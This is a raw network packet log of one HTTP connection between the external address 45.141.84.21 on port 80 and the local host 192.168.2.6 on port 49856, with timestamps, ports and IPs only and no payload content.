Oct 29, 2021 17:56:17.409638882 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.409666061 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.409687996 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.409708023 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.409722090 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.409744024 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.409761906 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.409775972 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.409794092 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.409811020 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.409845114 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.409955025 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.409977913 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.410000086 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.410015106 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.410049915 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.410093069 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.410125017 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.410188913 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.410242081 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.410337925 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.410361052 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.410386086 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.410417080 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.410430908 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.410449028 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.410471916 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.410481930 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.410505056 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.410528898 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.410537958 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.410553932 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.410581112 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.410720110 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.410744905 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.410769939 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.410777092 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.410799980 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.410815001 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.410834074 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.410856962 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.410877943 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.410885096 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.410928965 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.410964966 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.410988092 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.411010981 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.411031961 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.411037922 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.411086082 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.411119938 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.411143064 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.411165953 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.411181927 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.411192894 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.411240101 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.411382914 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.411407948 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.411429882 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.411446095 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.411467075 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.411497116 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.411509037 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.411530972 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.411552906 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.411569118 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.411597013 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.411643982 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.412107944 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.412134886 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.412153006 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.412174940 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.412199020 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.412211895 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.412234068 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.412254095 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.412262917 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.412285089 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.412295103 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.412317038 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.412328959 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.412348986 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.412364006 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.412395000 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.461503029 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.461554050 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.461601973 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.461615086 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.461668968 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.461680889 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.461719990 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.461760044 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.461776972 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.461807013 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.461855888 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.462124109 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.462188005 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.462258101 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.462271929 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.462306976 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.462356091 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.462379932 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.462439060 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.462495089 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.462522030 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.462559938 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.462616920 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.462641001 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.462696075 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.462749004 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.462773085 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.462801933 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.462841034 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.462860107 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.462913990 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.462974072 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.462986946 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.463016033 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.463052988 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.463073015 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.463112116 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.463180065 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.463193893 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.463236094 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.463278055 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.463298082 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.463336945 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.463380098 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.463403940 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.463447094 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.463489056 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.463511944 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.463550091 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.463587999 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.463608027 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.463646889 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.463712931 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.463726997 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.463771105 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.463808060 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.463829994 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.463860989 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.463926077 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.463943958 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.464005947 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.464062929 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.464090109 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.464131117 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.464175940 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.464195013 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.464268923 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.464329004 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.464354038 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.464390039 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.464431047 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.464452028 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.464489937 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.464529037 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.464557886 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.464595079 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.464673042 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.464689970 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.464742899 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.464783907 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.464802027 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.464831114 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.464891911 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.464926004 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.464966059 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.465003014 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.465054989 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.465084076 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.465123892 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.465152979 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.465183973 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.465215921 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.465256929 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.465276957 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.465302944 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.465333939 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.465363026 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.465392113 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.513947964 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.514010906 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.514050007 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.514077902 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.514106035 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.514132023 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.514169931 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.514214993 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.514246941 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.514291048 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.514328957 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.514347076 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.514386892 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.514425993 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.514446020 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.514475107 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.514532089 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.514849901 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.514889956 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.514928102 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.514950037 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.515016079 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.515068054 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.515079021 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.515120029 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.515146017 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.515177965 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.515403986 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.515465021 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.515487909 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.515559912 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.515588999 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.515611887 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.515649080 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.515686035 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.515703917 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.515749931 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.515803099 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.515825987 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.515867949 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.515912056 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.515928030 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.515961885 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.515999079 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.516016960 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.516056061 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.516094923 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.516113043 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.516143084 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.516197920 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.516309023 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.516371012 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.516428947 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.516455889 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.516500950 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.516541004 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.516566992 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.516607046 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.516637087 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.516654968 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.516694069 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.516733885 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.516762018 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.516835928 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.516944885 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.516989946 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.517030954 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.517067909 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.517085075 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.517137051 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.517185926 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.517213106 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.517251968 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.517308950 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.517326117 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.517385006 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.517426968 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.517443895 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.517494917 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.517560005 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.517581940 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.517627001 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.517667055 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.517683029 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.517721891 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.517760992 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.517777920 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.517806053 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.517843962 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.517858028 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.517898083 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.517936945 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.517954111 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.517987967 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.518038988 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.518049955 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.518090010 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.518126965 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.518141985 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.518182039 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.518228054 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.518238068 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.518277884 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.518306017 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.518326044 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.566647053 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.566725969 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.566798925 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.566816092 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.566857100 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.566899061 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.566962004 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.567050934 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.567085028 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.567145109 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.567184925 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.567209005 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.567269087 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.567312002 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.567328930 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.567387104 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.567428112 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.567451954 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.567493916 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.567531109 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.567550898 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.567611933 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.567651033 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.567677021 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.567739010 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.567780972 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.567797899 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.567837954 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.567866087 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.567888975 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.568053007 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.568115950 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.568140984 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.568202019 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.568258047 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.568290949 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.568353891 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.568409920 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.568434000 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.568476915 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.568533897 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.568558931 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.568618059 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.568676949 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.568708897 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.568748951 CEST	49856	80	192.168.2.6	45.141.84.21
